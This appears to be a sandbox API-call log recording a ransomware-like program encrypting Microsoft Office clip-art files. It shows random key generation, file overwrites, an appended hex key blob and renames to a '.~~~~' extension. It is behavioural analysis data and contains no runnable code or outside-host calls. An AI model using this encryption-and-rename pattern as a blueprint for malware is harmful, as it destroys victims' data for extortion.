	[0124.430] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.430] GetLastError () returned 0x0
	[0124.431] GetLastError () returned 0x0
	[0124.431] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.431] GetLastError () returned 0x0
	[0124.431] GetLastError () returned 0x0
	[0124.434] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffedce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.434] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1232, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1232, lpOverlapped=0x0) returned 1
	[0124.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.436] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.436] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.436] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.436] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.436] CloseHandle (hObject=0x11c) returned 1
	[0124.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf420
	[0124.437] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.~~~~")) returned 1
	[0124.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf420 | out: hHeap=0x300000) returned 1
	[0124.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.439] GetLastError () returned 0x0
	[0124.440] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.442] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.442] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24443216937) returned 1
	[0124.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3a4bcf0, dwHighDateTime=0x1d60e1e)) 
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8370
	[0124.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8370 | out: hHeap=0x300000) returned 1
	[0124.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf4b8
	[0124.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.443] GetLastError () returned 0x0
	[0124.444] GetLastError () returned 0x0
	[0124.444] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.444] GetLastError () returned 0x0
	[0124.444] GetLastError () returned 0x0
	[0124.447] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffee4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.447] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x11b6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x11b6, lpOverlapped=0x0) returned 1
	[0124.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.450] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.450] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.450] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.450] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.450] CloseHandle (hObject=0x11c) returned 1
	[0124.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf1c0
	[0124.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.~~~~")) returned 1
	[0124.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf1c0 | out: hHeap=0x300000) returned 1
	[0124.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.452] GetLastError () returned 0x0
	[0124.453] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.454] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.454] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24444459589) returned 1
	[0124.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3a71e50, dwHighDateTime=0x1d60e1e)) 
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8338
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8338 | out: hHeap=0x300000) returned 1
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf550
	[0124.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.456] GetLastError () returned 0x0
	[0124.456] GetLastError () returned 0x0
	[0124.456] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.456] GetLastError () returned 0x0
	[0124.456] GetLastError () returned 0x0
	[0124.552] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffea74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.552] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x158c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x158c, lpOverlapped=0x0) returned 1
	[0124.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.578] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.578] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.578] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.578] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.578] CloseHandle (hObject=0x11c) returned 1
	[0124.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beff8
	[0124.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.~~~~")) returned 1
	[0124.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3beff8 | out: hHeap=0x300000) returned 1
	[0124.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.582] GetLastError () returned 0x0
	[0124.582] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.583] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.583] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.584] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24457393280) returned 1
	[0124.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3b7c7f0, dwHighDateTime=0x1d60e1e)) 
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28207c0
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28207c0 | out: hHeap=0x300000) returned 1
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf5e8
	[0124.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.585] GetLastError () returned 0x0
	[0124.585] GetLastError () returned 0x0
	[0124.585] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.585] GetLastError () returned 0x0
	[0124.585] GetLastError () returned 0x0
	[0124.592] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.593] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x30e4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x30e4, lpOverlapped=0x0) returned 1
	[0124.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.595] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.595] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.595] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.595] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.595] CloseHandle (hObject=0x11c) returned 1
	[0124.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf5e8
	[0124.595] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.~~~~")) returned 1
	[0124.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf5e8 | out: hHeap=0x300000) returned 1
	[0124.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.597] GetLastError () returned 0x0
	[0124.635] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.636] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.636] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24462635135) returned 1
	[0124.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3beec10, dwHighDateTime=0x1d60e1e)) 
	[0124.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28208a0
	[0124.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28208a0 | out: hHeap=0x300000) returned 1
	[0124.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfb40
	[0124.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0124.637] GetLastError () returned 0x0
	[0124.638] GetLastError () returned 0x0
	[0124.638] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0124.638] GetLastError () returned 0x0
	[0124.638] GetLastError () returned 0x0
	[0124.645] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdbb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.645] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2448, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x2448, lpOverlapped=0x0) returned 1
	[0124.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.648] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.648] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.648] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.648] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.648] CloseHandle (hObject=0xc4) returned 1
	[0124.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfb40
	[0124.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.~~~~")) returned 1
	[0124.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfb40 | out: hHeap=0x300000) returned 1
	[0124.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0124.650] GetLastError () returned 0x0
	[0124.653] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0124.654] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.654] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0124.655] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24464480854) returned 1
	[0124.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb3c3aed0, dwHighDateTime=0x1d60e1e)) 
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28208d8
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28208d8 | out: hHeap=0x300000) returned 1
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
